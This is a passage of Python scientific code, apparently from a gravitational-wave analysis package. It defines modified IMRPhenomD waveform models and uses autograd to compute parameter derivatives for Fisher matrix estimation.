self.pn_amp_deriv_chi_s.append(grad(utilities.calculate_pn_amp,3)(self.symmratio,self.delta,self.chi_a,self.chi_s,i))
self.pn_phase_deriv_chirpm = []
self.pn_phase_deriv_symmratio = []
self.pn_phase_deriv_delta = []
self.pn_phase_deriv_chi_a = []
self.pn_phase_deriv_chi_s = []
for i in np.arange(len(self.pn_phase)):
self.pn_phase_deriv_chirpm.append(grad(utilities.calculate_pn_phase,0)(self.chirpm,self.symmratio,self.delta,self.chi_a,self.chi_s,1.1,i))
self.pn_phase_deriv_symmratio.append(grad(utilities.calculate_pn_phase,1)(self.chirpm,self.symmratio,self.delta,self.chi_a,self.chi_s,1.1,i))
self.pn_phase_deriv_delta.append(grad(utilities.calculate_pn_phase,2)(self.chirpm,self.symmratio,self.delta,self.chi_a,self.chi_s,1.1,i))
self.pn_phase_deriv_chi_a.append(grad(utilities.calculate_pn_phase,3)(self.chirpm,self.symmratio,self.delta,self.chi_a,self.chi_s,1.1,i))
self.pn_phase_deriv_chi_s.append(grad(utilities.calculate_pn_phase,4)(self.chirpm,self.symmratio,self.delta,self.chi_a,self.chi_s,1.1,i))
"""Delta Parameters take up ~50 percent of the total time"""
temp1 = grad(self.calculate_delta_parameter,0)
temp2 = grad(self.calculate_delta_parameter,1)
temp3 = grad(self.calculate_delta_parameter,2)
temp4 = grad(self.calculate_delta_parameter,3)
temp5 = grad(self.calculate_delta_parameter,4)
temp6 = grad(self.calculate_delta_parameter,5)
temp7 = grad(self.calculate_delta_parameter,6)
temp8 = grad(self.calculate_delta_parameter,7)
self.param_deltas_derivs_chirpm = list(map(lambda i:temp1(self.chirpm,self.symmratio,self.delta,self.chi_a,self.chi_s,self.fRD,self.fdamp,self.fpeak,i), np.arange(5) ))
self.param_deltas_derivs_symmratio = list(map(lambda i:temp2(self.chirpm,self.symmratio,self.delta,self.chi_a,self.chi_s,self.fRD,self.fdamp,self.fpeak,i), np.arange(5) ))
self.param_deltas_derivs_delta = list(map(lambda i:temp3(self.chirpm,self.symmratio,self.delta,self.chi_a,self.chi_s,self.fRD,self.fdamp,self.fpeak,i), np.arange(5) ))
self.param_deltas_derivs_chi_a = list(map(lambda i:temp4(self.chirpm,self.symmratio,self.delta,self.chi_a,self.chi_s,self.fRD,self.fdamp,self.fpeak,i), np.arange(5) ))
self.param_deltas_derivs_chi_s = list(map(lambda i:temp5(self.chirpm,self.symmratio,self.delta,self.chi_a,self.chi_s,self.fRD,self.fdamp,self.fpeak,i), np.arange(5) ))
self.param_deltas_derivs_fRD = list(map(lambda i:temp6(self.chirpm,self.symmratio,self.delta,self.chi_a,self.chi_s,self.fRD,self.fdamp,self.fpeak,i), np.arange(5) ))
self.param_deltas_derivs_fdamp = list(map(lambda i:temp7(self.chirpm,self.symmratio,self.delta,self.chi_a,self.chi_s,self.fRD,self.fdamp,self.fpeak,i), np.arange(5) ))
self.param_deltas_derivs_f3 = list(map(lambda i:temp8(self.chirpm,self.symmratio,self.delta,self.chi_a,self.chi_s,self.fRD,self.fdamp,self.fpeak,i), np.arange(5) ))
# print("deltas: {}".format(time()-start))
self.fRD_deriv = []
for i in range(6):
self.fRD_deriv.append(grad(utilities.calculate_postmerger_fRD,i)(self.m1,self.m2,self.M,self.symmratio,self.chi_s,self.chi_a))
self.fdamp_deriv = []
for i in range(6):
self.fdamp_deriv.append(grad(utilities.calculate_postmerger_fdamp,i)(self.m1,self.m2,self.M,self.symmratio,self.chi_s,self.chi_a))
self.fpeak_deriv = []
for i in range(5):
self.fpeak_deriv.append(grad(utilities.calculate_fpeak,i)(self.M,self.fRD,self.fdamp,self.parameters[5],self.parameters[6]))
"""Only deviations from original IMRPhenomD are below: extra derivative for beta1,beta0, and extra log_factor"""
########################################################################################################################
self.delta_deriv = grad(utilities.calculate_delta)(self.symmratio)
self.beta1_deriv = []
self.beta0_deriv = []
self.alpha1_deriv = []
self.alpha0_deriv = []
for i in range(7):
self.beta1_deriv.append(grad(self.phase_cont_beta1,i)(self.chirpm,self.symmratio,self.delta,self.phic,self.tc,self.chi_a,self.chi_s))
for i in range(8):
self.beta0_deriv.append(grad(self.phase_cont_beta0,i)(self.chirpm,self.symmratio,self.delta,self.phic,self.tc,self.chi_a,self.chi_s,self.beta1))
for i in range(9):
self.alpha1_deriv.append(grad(self.phase_cont_alpha1,i)(self.chirpm,self.symmratio,self.chi_a,self.chi_s,self.fRD,self.fdamp,self.beta0,self.beta1,self.f_transition))
for i in range(10):
self.alpha0_deriv.append(grad(self.phase_cont_alpha0,i)(self.chirpm,self.symmratio,self.chi_a,self.chi_s,self.fRD,self.fdamp,self.beta0,self.beta1,self.alpha1,self.f_transition))
"""Populate array with variables for transformation from d/d(theta) to d/d(log(theta)) - begins with 0 because fisher matrix variables start at 1, not 0"""
self.log_factors = [0,self.A0,1,1,self.chirpm,self.symmratio,1,1,self.f_transition]
"""Function for actual element integrand - 4*Re(dh/dtheta_i* dh/dtheta_j) - Vectorized
-added extra mod_phi argument"""
def calculate_waveform_derivative_vector(self,freq,i):
famp = self.split_freqs_amp(freq)
fphase = self.split_freqs_phase(freq)
"""Array of the functions used to populate derivative vectors"""
ampfunc = [self.amp_ins_vector,self.amp_int_vector,self.amp_mr_vector]
phasefunc = [self.phase_ins_vector,self.phase_int_vector,self.phase_mr_vector]
"""Check to see if every region is sampled - if integration frequency
doesn't reach a region, the loop is trimmed to avoid issues with unpopulated arrays"""
jamp=[0,1,2]
jphase=[0,1,2]
if len(famp[0]) == 0:
if len(famp[1])==0:
jamp = [2]
else:
if len(famp[2])==0:
jamp = [1]
else:
jamp = [1,2]
if len(famp[2])==0:
if len(famp[1]) == 0:
jamp = [0]
else:
if len(famp[0])==0:
jamp = [1]
else:
jamp = [0,1]
if len(fphase[0]) == 0:
if len(fphase[1])==0:
jphase = [2]
else:
if len(fphase[2])==0:
jphase = [1]
else:
jphase = [1,2]
if len(fphase[2])==0:
if len(fphase[1]) == 0:
jphase = [0]
else:
if len(fphase[0])==0:
jphase = [1]
else:
jphase = [0,1]
# jamp = [0,1,2]
# for i in np.arange(len(famp)):
# if len(famp[i]) == 0:
# jamp[i] = -1
# jamp = [x for x in jamp if x != -1]
# jphase = [0,1,2]
# for i in np.arange(len(fphase)):
# if len(fphase[i]) == 0:
# jphase[i] = -1
# jphase = [x for x in jphase if x != -1]
#
var_arr= self.var_arr[:]
gamp = [[],[],[]]
amp = [[],[],[]]
phase = [[],[],[]]
"""Array of the functions used to populate derivative vectors"""
ampfunc = [self.amp_ins_vector,self.amp_int_vector,self.amp_mr_vector]
phasefunc = [self.phase_ins_vector,self.phase_int_vector,self.phase_mr_vector]
"""Populate derivative vectors one region at a time"""
for j in jamp:
var_arr= self.var_arr[:]
famp[j], var_arr[i-1] = np.broadcast_arrays(famp[j],var_arr[i-1])
gamp[j]=( egrad(ampfunc[j],i)(famp[j],var_arr[0],var_arr[1],var_arr[2],var_arr[3],var_arr[4],var_arr[5],var_arr[6],var_arr[7]))
var_arr= self.var_arr[:]
amp[j]= ampfunc[j](famp[j],var_arr[0],var_arr[1],var_arr[2],var_arr[3],var_arr[4],var_arr[5],var_arr[6],var_arr[7])
for j in jphase:
var_arr= self.var_arr[:]
fphase[j], var_arr[i-1] = np.broadcast_arrays(fphase[j],var_arr[i-1])
phase[j]=( egrad(phasefunc[j],i)(fphase[j],var_arr[0],var_arr[1],var_arr[2],var_arr[3],var_arr[4],var_arr[5],var_arr[6],var_arr[7]))
"""Concatenate the regions into one array"""
gampout,ampout,phaseout = [],[],[]
for j in jamp:
ampout = np.concatenate((ampout,amp[j]))
gampout = np.concatenate((gampout,gamp[j]))
for j in jphase:
phaseout = np.concatenate((phaseout,phase[j]))
"""Return the complex waveform derivative"""
return np.subtract(gampout,np.multiply(ampout,np.multiply(1j,phaseout)))
"""Calculate the waveform - vectorized
Outputs: amp vector, phase vector, (real) waveform vector
-added extra mod_phi argument"""
def calculate_waveform_vector(self,freq):
"""Array of the functions used to populate derivative vectors"""
ampfunc = [self.amp_ins_vector,self.amp_int_vector,self.amp_mr_vector]
phasefunc = [self.phase_ins_vector,self.phase_int_vector,self.phase_mr_vector]
"""Check to see if every region is sampled - if integration frequency
doesn't reach a region, the loop is trimmed to avoid issues with unpopulated arrays"""
famp = self.split_freqs_amp(freq)
fphase = self.split_freqs_phase(freq)
jamp = [0,1,2]
for i in np.arange(len(famp)):
if len(famp[i]) == 0:
jamp[i] = -1
jamp = [x for x in jamp if x != -1]
jphase = [0,1,2]
for i in np.arange(len(fphase)):
if len(fphase[i]) == 0:
jphase[i] = -1
jphase = [x for x in jphase if x != -1]
var_arr= self.var_arr[:]
amp = [[],[],[]]
phase = [[],[],[]]
"""Populate derivative vectors one region at a time"""
for j in jamp:
amp[j]= ampfunc[j](famp[j],var_arr[0],var_arr[1],var_arr[2],var_arr[3],var_arr[4],var_arr[5],var_arr[6],var_arr[7])
for j in jphase:
phase[j]=phasefunc[j](fphase[j],var_arr[0],var_arr[1],var_arr[2],var_arr[3],var_arr[4],var_arr[5],var_arr[6],var_arr[7])
"""Concatenate the regions into one array"""
ampout,phaseout =[],[]
for j in jamp:
ampout = np.concatenate((ampout,amp[j]))
for j in jphase:
if phase[j] is not None:
phaseout = np.concatenate((phaseout,phase[j]))
"""Return the amplitude vector, phase vector, and real part of the waveform"""
return ampout,phaseout, np.multiply(ampout,np.cos(phaseout))
"""Derivative Definitions - added phase_mod to derivatives"""
@primitive
def assign_alpha1(self,chirpm,symmratio,chi_a,chi_s,fRD,fdamp,beta0,beta1,f_transition):
for j in [chirpm,symmratio,chi_a,chi_s,fRD,fdamp,beta0,beta1,f_transition]:
if isinstance(j,np.ndarray):
return np.ones(len(j))*self.alpha1
return self.alpha1
defvjp(assign_alpha1,None,
lambda ans,self,chirpm,symmratio,chi_a,chi_s,fRD,fdamp,beta0,beta1,f_transition: lambda g: g*self.alpha1_deriv[0],
lambda ans,self,chirpm,symmratio,chi_a,chi_s,fRD,fdamp,beta0,beta1,f_transition: lambda g: g*self.alpha1_deriv[1],
lambda ans,self,chirpm,symmratio,chi_a,chi_s,fRD,fdamp,beta0,beta1,f_transition: lambda g: g*self.alpha1_deriv[2],
lambda ans,self,chirpm,symmratio,chi_a,chi_s,fRD,fdamp,beta0,beta1,f_transition: lambda g: g*self.alpha1_deriv[3],
lambda ans,self,chirpm,symmratio,chi_a,chi_s,fRD,fdamp,beta0,beta1,f_transition: lambda g: g*self.alpha1_deriv[4],
lambda ans,self,chirpm,symmratio,chi_a,chi_s,fRD,fdamp,beta0,beta1,f_transition: lambda g: g*self.alpha1_deriv[5],
lambda ans,self,chirpm,symmratio,chi_a,chi_s,fRD,fdamp,beta0,beta1,f_transition: lambda g: g*self.alpha1_deriv[6],
lambda ans,self,chirpm,symmratio,chi_a,chi_s,fRD,fdamp,beta0,beta1,f_transition: lambda g: g*self.alpha1_deriv[7],
lambda ans,self,chirpm,symmratio,chi_a,chi_s,fRD,fdamp,beta0,beta1,f_transition: lambda g: g*self.alpha1_deriv[8])
@primitive
def assign_alpha0(self,chirpm,symmratio,chi_a,chi_s,fRD,fdamp,beta0,beta1,alpha1,f_transition):
for j in [chirpm,symmratio,chi_a,chi_s,fRD,fdamp,beta0,beta1,alpha1,f_transition]:
if isinstance(j,np.ndarray):
return np.ones(len(j))*self.alpha0
return self.alpha0
defvjp(assign_alpha0,None,
lambda ans,self,chirpm,symmratio,chi_a,chi_s,fRD,fdamp,beta0,beta1,alpha1,f_transition: lambda g: g*self.alpha0_deriv[0],
lambda ans,self,chirpm,symmratio,chi_a,chi_s,fRD,fdamp,beta0,beta1,alpha1,f_transition: lambda g: g*self.alpha0_deriv[1],
lambda ans,self,chirpm,symmratio,chi_a,chi_s,fRD,fdamp,beta0,beta1,alpha1,f_transition: lambda g: g*self.alpha0_deriv[2],
lambda ans,self,chirpm,symmratio,chi_a,chi_s,fRD,fdamp,beta0,beta1,alpha1,f_transition: lambda g: g*self.alpha0_deriv[3],
lambda ans,self,chirpm,symmratio,chi_a,chi_s,fRD,fdamp,beta0,beta1,alpha1,f_transition: lambda g: g*self.alpha0_deriv[4],
lambda ans,self,chirpm,symmratio,chi_a,chi_s,fRD,fdamp,beta0,beta1,alpha1,f_transition: lambda g: g*self.alpha0_deriv[5],
lambda ans,self,chirpm,symmratio,chi_a,chi_s,fRD,fdamp,beta0,beta1,alpha1,f_transition: lambda g: g*self.alpha0_deriv[6],
lambda ans,self,chirpm,symmratio,chi_a,chi_s,fRD,fdamp,beta0,beta1,alpha1,f_transition: lambda g: g*self.alpha0_deriv[7],
lambda ans,self,chirpm,symmratio,chi_a,chi_s,fRD,fdamp,beta0,beta1,alpha1,f_transition: lambda g: g*self.alpha0_deriv[8],
lambda ans,self,chirpm,symmratio,chi_a,chi_s,fRD,fdamp,beta0,beta1,alpha1,f_transition: lambda g: g*self.alpha0_deriv[9])
"""Modified IMRPhenomD to treat the log of both of the transition frequencies as extra Fisher Variables
- Full Variable List: [lnA, phi_c, t_c, ln Chirpm Mass, ln symmetric mass ratio, chi_s, chi_a, ln f_trans_insp, ln f_trans_mr]"""
class Modified_IMRPhenomD_All_Transition_Freq(IMRPhenomD):
def __init__(self, mass1, mass2,spin1,spin2, collision_time,
collision_phase,Luminosity_Distance,cosmo_model = cosmology.Planck15,NSflag = False,N_detectors = 1, f_ins_int = None, f_int_mr = None):
"""Populate model variables"""
self.N_detectors = N_detectors
self.NSflag = NSflag
self.cosmo_model = cosmo_model
self.DL = Luminosity_Distance
self.tc = float(collision_time)
self.phic = float(collision_phase)
self.symmratio = (mass1 * mass2) / (mass1 + mass2 )**2
self.chirpme = (mass1 * mass2)**(3/5)/(mass1 + mass2)**(1/5)
self.delta = utilities.calculate_delta(self.symmratio)
self.Z =Distance(Luminosity_Distance/mpc,unit=u.Mpc).compute_z(cosmology = self.cosmo_model)#.01
self.chirpm = self.chirpme*(1+self.Z)
self.M = utilities.calculate_totalmass(self.chirpm,self.symmratio)
self.m1 = utilities.calculate_mass1(self.chirpm,self.symmratio)
self.m2 = utilities.calculate_mass2(self.chirpm,self.symmratio)
self.totalMass_restframe = mass1+mass2
#self.A0 =(np.pi/30)**(1/2)*self.chirpm**2/self.DL * (np.pi*self.chirpm)**(-7/6)
self.A0 =(np.pi*40./192.)**(1/2)*self.chirpm**2/self.DL * (np.pi*self.chirpm)**(-7/6)
"""Spin Variables"""
self.chi1 = spin1
self.chi2 = spin2
self.chi_s = (spin1 + spin2)/2
self.chi_a = (spin1 - spin2)/2
"""Post Newtonian Phase"""
self.pn_phase = np.zeros(8)
for i in [0,1,2,3,4,7]:
self.pn_phase[i] = utilities.calculate_pn_phase(self.chirpm,self.symmratio,self.delta,self.chi_a,self.chi_s,1,i)
"""Numerical Fit Parameters"""
self.parameters =[]
for i in np.arange(len(Lambda)):
self.parameters.append(self.calculate_parameter(self.chirpm,self.symmratio,self.chi_a,self.chi_s,i))
"""Post Newtonian Amplitude"""
self.pn_amp = np.zeros(7)
for i in np.arange(7):
self.pn_amp[i]=utilities.calculate_pn_amp(self.symmratio,self.delta,self.chi_a,self.chi_s,i)
"""Post Merger Parameters - Ring Down frequency and Damping frequency"""
self.fRD = utilities.calculate_postmerger_fRD(\
self.m1,self.m2,self.M,self.symmratio,self.chi_s,self.chi_a)
self.fdamp = utilities.calculate_postmerger_fdamp(\
self.m1,self.m2,self.M,self.symmratio,self.chi_s,self.chi_a)
self.fpeak = utilities.calculate_fpeak(self.M,self.fRD,self.fdamp,self.parameters[5],self.parameters[6])
"""Calculating the parameters for the intermediate amplitude region"""
self.param_deltas = np.zeros(5)
for i in np.arange(5):
self.param_deltas[i] = self.calculate_delta_parameter(self.chirpm,self.symmratio,self.delta,self.chi_a,self.chi_s,self.fRD,self.fdamp,self.fpeak,i)
"""Only modifications to the system variables are below:
-beta1
-beta0
-phase_mod
-bppe
-var_arr"""
#################################################################################
"""Phase continuity parameters"""
"""Must be done in order - beta1,beta0,alpha1, then alpha0"""
if f_ins_int == None:
self.f_trans0 = 0.018/self.M
else:
self.f_trans0 = f_ins_int
if f_int_mr == None:
self.f_trans1 = .5*self.fRD
else:
self.f_trans1 = f_int_mr
self.beta1 = self.phase_cont_beta1(self.chirpm,self.symmratio,self.delta,self.phic,self.tc,self.chi_a,self.chi_s,self.f_trans0)
self.beta0 = self.phase_cont_beta0(self.chirpm,self.symmratio,self.delta,self.phic,self.tc,self.chi_a,self.chi_s,self.beta1,self.f_trans0)
self.alpha1 = self.phase_cont_alpha1(self.chirpm,self.symmratio,self.chi_a,self.chi_s,self.fRD,self.fdamp,self.beta0,self.beta1,self.f_trans1)
self.alpha0 = self.phase_cont_alpha0(self.chirpm,self.symmratio,self.chi_a,self.chi_s,self.fRD,self.fdamp,self.beta0,self.beta1,self.alpha1,self.f_trans1)
self.var_arr = [self.A0,self.phic,self.tc,self.chirpm,self.symmratio,self.chi_s,self.chi_a,self.f_trans0,self.f_trans1]
def phase_cont_beta1(self,chirpm,symmratio,delta,phic,tc,chi_a,chi_s,f_trans0):
M = self.assign_totalmass(chirpm,symmratio)
f0 = f_trans0
pn_phase =[]
for x in np.arange(len(self.pn_phase)):
pn_phase.append(self.assign_pn_phase(chirpm,symmratio,delta,chi_a,chi_s,f0,x))
beta2 = self.assign_lambda_param(chirpm,symmratio,chi_a,chi_s,12)
beta3 = self.assign_lambda_param(chirpm,symmratio,chi_a,chi_s,13)
sigma2 =self.assign_lambda_param(chirpm,symmratio,chi_a,chi_s,8)
sigma3 =self.assign_lambda_param(chirpm,symmratio,chi_a,chi_s,9)
sigma4 = self.assign_lambda_param(chirpm,symmratio,chi_a,chi_s,10)
ins_grad = egrad(self.phi_ins,0)
return ((1/M)*ins_grad(f0,phic,tc,chirpm,symmratio,delta,chi_a,chi_s,sigma2,sigma3,sigma4,pn_phase)*symmratio
-symmratio/M*(grad(self.phi_int,0)(f0,M,symmratio,0,0,beta2,beta3)))
def phase_cont_beta0(self,chirpm,symmratio,delta,phic,tc,chi_a,chi_s,beta1,f_trans0):
M = self.assign_totalmass(chirpm,symmratio)
f0 = f_trans0
pn_phase =[]
for x in np.arange(len(self.pn_phase)):
pn_phase.append(self.assign_pn_phase(chirpm,symmratio,delta,chi_a,chi_s,f0,x))
beta2 = self.assign_lambda_param(chirpm,symmratio,chi_a,chi_s,12)
beta3 = self.assign_lambda_param(chirpm,symmratio,chi_a,chi_s,13)
sigma2 =self.assign_lambda_param(chirpm,symmratio,chi_a,chi_s,8)
sigma3 =self.assign_lambda_param(chirpm,symmratio,chi_a,chi_s,9)
sigma4 = self.assign_lambda_param(chirpm,symmratio,chi_a,chi_s,10)
return self.phi_ins(f0,phic,tc,chirpm,symmratio,delta,chi_a,chi_s,sigma2,sigma3,sigma4,pn_phase)*symmratio \
- symmratio*self.phi_int(f0,M,symmratio,0,beta1,beta2,beta3)
def phase_cont_alpha1(self,chirpm,symmratio,chi_a,chi_s,fRD,fdamp,beta0,beta1,f_trans1):
M = self.assign_totalmass(chirpm,symmratio)
alpha2 = self.assign_lambda_param(chirpm,symmratio,chi_a,chi_s,15)
alpha3 = self.assign_lambda_param(chirpm,symmratio,chi_a,chi_s,16)
alpha4 = self.assign_lambda_param(chirpm,symmratio,chi_a,chi_s,17)
alpha5 = self.assign_lambda_param(chirpm,symmratio,chi_a,chi_s,18)
beta2 = self.assign_lambda_param(chirpm,symmratio,chi_a,chi_s,12)
beta3 = self.assign_lambda_param(chirpm,symmratio,chi_a,chi_s,13)
f1 = f_trans1
return (1/M)*egrad(self.phi_int,0)(f1,M,symmratio,beta0,beta1,beta2,beta3)*symmratio \
-(symmratio/M)*egrad(self.phi_mr,0)(f1,chirpm,symmratio,0,0,alpha2,alpha3,alpha4,alpha5,fRD,fdamp)
def phase_cont_alpha0(self,chirpm,symmratio,chi_a,chi_s,fRD,fdamp,beta0,beta1,alpha1,f_trans1):
M = self.assign_totalmass(chirpm,symmratio)
alpha2 = self.assign_lambda_param(chirpm,symmratio,chi_a,chi_s,15)
alpha3 = self.assign_lambda_param(chirpm,symmratio,chi_a,chi_s,16)
alpha4 = self.assign_lambda_param(chirpm,symmratio,chi_a,chi_s,17)
alpha5 = self.assign_lambda_param(chirpm,symmratio,chi_a,chi_s,18)
beta2 = self.assign_lambda_param(chirpm,symmratio,chi_a,chi_s,12)
beta3 = self.assign_lambda_param(chirpm,symmratio,chi_a,chi_s,13)
f1 = f_trans1
return self.phi_int(f1,M,symmratio,beta0,beta1,beta2,beta3) *symmratio \
- symmratio*self.phi_mr(f1,chirpm,symmratio,0,alpha1,alpha2,alpha3,alpha4,alpha5,fRD,fdamp)
######################################################################################
"""Added phase mod argument for derivatives - returns the same as GR"""
def amp_ins_vector(self,f,A0,phic,tc,chirpm,symmratio,chi_s,chi_a,f_trans0,f_trans1):
return super(Modified_IMRPhenomD_Transition_Freq,self).amp_ins_vector(f,A0,phic,tc,chirpm,symmratio,chi_s,chi_a)
def amp_int_vector(self,f,A0,phic,tc,chirpm,symmratio,chi_s,chi_a,f_trans0,f_trans1):
return super(Modified_IMRPhenomD_Transition_Freq,self).amp_int_vector(f,A0,phic,tc,chirpm,symmratio,chi_s,chi_a)
def amp_mr_vector(self,f,A0,phic,tc,chirpm,symmratio,chi_s,chi_a,f_trans0,f_trans1):
return super(Modified_IMRPhenomD_Transition_Freq,self).amp_mr_vector(f,A0,phic,tc,chirpm,symmratio,chi_s,chi_a)
######################################################################################
"""Only added transition frequencies to the arguments of beta1 and beta0 - Otherwise, exact copy of GR model method"""
def phase_mr_vector(self,f,A0,phic,tc,chirpm,symmratio,chi_s,chi_a,f_trans0,f_trans1):
M = self.assign_totalmass(chirpm,symmratio)
m1 = self.assign_mass1(chirpm,symmratio)
m2 = self.assign_mass2(chirpm,symmratio)
delta = self.assign_delta(symmratio)
fRD = self.assign_fRD(m1,m2,M,symmratio,chi_s,chi_a)
fdamp = self.assign_fdamp(m1,m2,M,symmratio,chi_s,chi_a)
fpeak = self.assign_fpeak(M,fRD,fdamp,self.assign_lambda_param(chirpm,symmratio,chi_a,chi_s,5),self.assign_lambda_param(chirpm,symmratio,chi_a,chi_s,6))
beta1 = self.assign_beta1(chirpm,symmratio,delta,phic,tc,chi_a,chi_s,f_trans0)
beta0 = self.assign_beta0(chirpm,symmratio,delta,phic,tc,chi_a,chi_s,beta1,f_trans0)
alpha1 = self.assign_alpha1(chirpm,symmratio,chi_a,chi_s,fRD,fdamp,beta0,beta1,f_trans1)
alpha0 = self.assign_alpha0(chirpm,symmratio,chi_a,chi_s,fRD,fdamp,beta0,beta1,alpha1,f_trans1)
alpha2 = self.assign_lambda_param(chirpm,symmratio,chi_a,chi_s,15)
alpha3 = self.assign_lambda_param(chirpm,symmratio,chi_a,chi_s,16)
alpha4 = self.assign_lambda_param(chirpm,symmratio,chi_a,chi_s,17)
alpha5 = self.assign_lambda_param(chirpm,symmratio,chi_a,chi_s,18)
return self.phi_mr(f,chirpm,symmratio,alpha0,alpha1,alpha2,alpha3,alpha4,alpha5,fRD,fdamp)
"""Uses overriden phi_ins method - added transition frequency args"""
def phase_ins_vector(self,f,A0,phic,tc,chirpm,symmratio,chi_s,chi_a,f_trans0, f_trans1):
return super(Modified_IMRPhenomD_Transition_Freq,self).phase_ins_vector(f,A0,phic,tc,chirpm,symmratio,chi_s,chi_a)
"""Added transition frequency arg to beta parameter calls"""
def phase_int_vector(self,f,A0,phic,tc,chirpm,symmratio,chi_s,chi_a,f_trans0, f_trans1):
M = self.assign_totalmass(chirpm,symmratio)
m1 = self.assign_mass1(chirpm,symmratio)
m2 = self.assign_mass2(chirpm,symmratio)
delta = self.assign_delta(symmratio)
fRD = self.assign_fRD(m1,m2,M,symmratio,chi_s,chi_a)
beta1 = self.assign_beta1(chirpm,symmratio,delta,phic,tc,chi_a,chi_s,f_trans0)
beta0 = self.assign_beta0(chirpm,symmratio,delta,phic,tc,chi_a,chi_s,beta1,f_trans0)
beta2 = self.assign_lambda_param(chirpm,symmratio,chi_a,chi_s,12)
beta3 = self.assign_lambda_param(chirpm,symmratio,chi_a,chi_s,13)
return self.phi_int(f,M,symmratio,beta0,beta1,beta2,beta3)
def split_freqs_phase(self,freqs):
freqins = freqs[(freqs<=self.f_trans0)]
freqint = freqs[(freqs>self.f_trans0) & (freqs<=self.f_trans1)]
freqmr = freqs[(freqs>self.f_trans1)]
return [freqins,freqint,freqmr]
"""Added derivatives for all the mod phi arguments - """
def calculate_derivatives(self):
"""Pre-calculate Derivatives here - (Order does matter - parameter functions may be functions of system constants)
If the variable is instantiated as an array, a derivate array for each system variable is created and is cycled through
(ie Lambda paramaters is parameters[i] and has derivate arrays parameters_deriv_symmratio etc).
If the variable is a single value, the variable has one array of derivates, the elements of which are the derivatives wrt
various system variables (ie M -> M_deriv[i] for symmratio and chripm etc)
-M
-m1
-m2
-Lambda parameters
-pn_amp
-pn_phase
-delta parameters (intermediate amplitude parameters)
-fRD
-fdamp
-fpeak
-delta (mass parameter)
-phase continuitiy variables (beta1,beta0,alpha1,alpha0)
"""
self.total_mass_deriv = []
for i in range(2):
self.total_mass_deriv.append(grad(utilities.calculate_totalmass,i)(self.chirpm,self.symmratio))
self.mass1_deriv = []
for i in range(2):
self.mass1_deriv.append(grad(utilities.calculate_mass1,i)(self.chirpm,self.symmratio))
self.mass2_deriv = []
for i in range(2):
self.mass2_deriv.append(grad(utilities.calculate_mass2,i)(self.chirpm,self.symmratio))
self.lambda_derivs_symmratio=[]
self.lambda_derivs_chirpm = []
self.lambda_derivs_chi_a = []
self.lambda_derivs_chi_s = []
for i in np.arange(len(Lambda)):
self.lambda_derivs_chirpm.append(grad(self.calculate_parameter,0)(self.chirpm,self.symmratio,self.chi_a,self.chi_s,i))
self.lambda_derivs_symmratio.append(grad(self.calculate_parameter,1)(self.chirpm,self.symmratio,self.chi_a,self.chi_s,i))
self.lambda_derivs_chi_a.append(grad(self.calculate_parameter,2)(self.chirpm,self.symmratio,self.chi_a,self.chi_s,i))
self.lambda_derivs_chi_s.append(grad(self.calculate_parameter,3)(self.chirpm,self.symmratio,self.chi_a,self.chi_s,i))
self.pn_amp_deriv_symmratio = []
self.pn_amp_deriv_delta = []
self.pn_amp_deriv_chi_a = []
self.pn_amp_deriv_chi_s = []
for i in np.arange(len(self.pn_amp)):
self.pn_amp_deriv_symmratio.append(grad(utilities.calculate_pn_amp,0)(self.symmratio,self.delta,self.chi_a,self.chi_s,i))
self.pn_amp_deriv_delta.append(grad(utilities.calculate_pn_amp,1)(self.symmratio,self.delta,self.chi_a,self.chi_s,i))
self.pn_amp_deriv_chi_a.append(grad(utilities.calculate_pn_amp,2)(self.symmratio,self.delta,self.chi_a,self.chi_s,i))
self.pn_amp_deriv_chi_s.append(grad(utilities.calculate_pn_amp,3)(self.symmratio,self.delta,self.chi_a,self.chi_s,i))
self.pn_phase_deriv_chirpm = []
self.pn_phase_deriv_symmratio = []
self.pn_phase_deriv_delta = []
self.pn_phase_deriv_chi_a = []
self.pn_phase_deriv_chi_s = []
for i in np.arange(len(self.pn_phase)):
self.pn_phase_deriv_chirpm.append(grad(utilities.calculate_pn_phase,0)(self.chirpm,self.symmratio,self.delta,self.chi_a,self.chi_s,1.1,i))
self.pn_phase_deriv_symmratio.append(grad(utilities.calculate_pn_phase,1)(self.chirpm,self.symmratio,self.delta,self.chi_a,self.chi_s,1.1,i))
self.pn_phase_deriv_delta.append(grad(utilities.calculate_pn_phase,2)(self.chirpm,self.symmratio,self.delta,self.chi_a,self.chi_s,1.1,i))
self.pn_phase_deriv_chi_a.append(grad(utilities.calculate_pn_phase,3)(self.chirpm,self.symmratio,self.delta,self.chi_a,self.chi_s,1.1,i))
self.pn_phase_deriv_chi_s.append(grad(utilities.calculate_pn_phase,4)(self.chirpm,self.symmratio,self.delta,self.chi_a,self.chi_s,1.1,i))
"""Delta Parameters take up ~50 percent of the total time"""
temp1 = grad(self.calculate_delta_parameter,0)
temp2 = grad(self.calculate_delta_parameter,1)
temp3 = grad(self.calculate_delta_parameter,2)
temp4 = grad(self.calculate_delta_parameter,3)
temp5 = grad(self.calculate_delta_parameter,4)
temp6 = grad(self.calculate_delta_parameter,5)
temp7 = grad(self.calculate_delta_parameter,6)
temp8 = grad(self.calculate_delta_parameter,7)
self.param_deltas_derivs_chirpm = list(map(lambda i:temp1(self.chirpm,self.symmratio,self.delta,self.chi_a,self.chi_s,self.fRD,self.fdamp,self.fpeak,i), np.arange(5) ))
self.param_deltas_derivs_symmratio = list(map(lambda i:temp2(self.chirpm,self.symmratio,self.delta,self.chi_a,self.chi_s,self.fRD,self.fdamp,self.fpeak,i), np.arange(5) ))
self.param_deltas_derivs_delta = list(map(lambda i:temp3(self.chirpm,self.symmratio,self.delta,self.chi_a,self.chi_s,self.fRD,self.fdamp,self.fpeak,i), np.arange(5) ))
self.param_deltas_derivs_chi_a = list(map(lambda i:temp4(self.chirpm,self.symmratio,self.delta,self.chi_a,self.chi_s,self.fRD,self.fdamp,self.fpeak,i), np.arange(5) ))
self.param_deltas_derivs_chi_s = list(map(lambda i:temp5(self.chirpm,self.symmratio,self.delta,self.chi_a,self.chi_s,self.fRD,self.fdamp,self.fpeak,i), np.arange(5) ))
self.param_deltas_derivs_fRD = list(map(lambda i:temp6(self.chirpm,self.symmratio,self.delta,self.chi_a,self.chi_s,self.fRD,self.fdamp,self.fpeak,i), np.arange(5) ))
self.param_deltas_derivs_fdamp = list(map(lambda i:temp7(self.chirpm,self.symmratio,self.delta,self.chi_a,self.chi_s,self.fRD,self.fdamp,self.fpeak,i), np.arange(5) ))
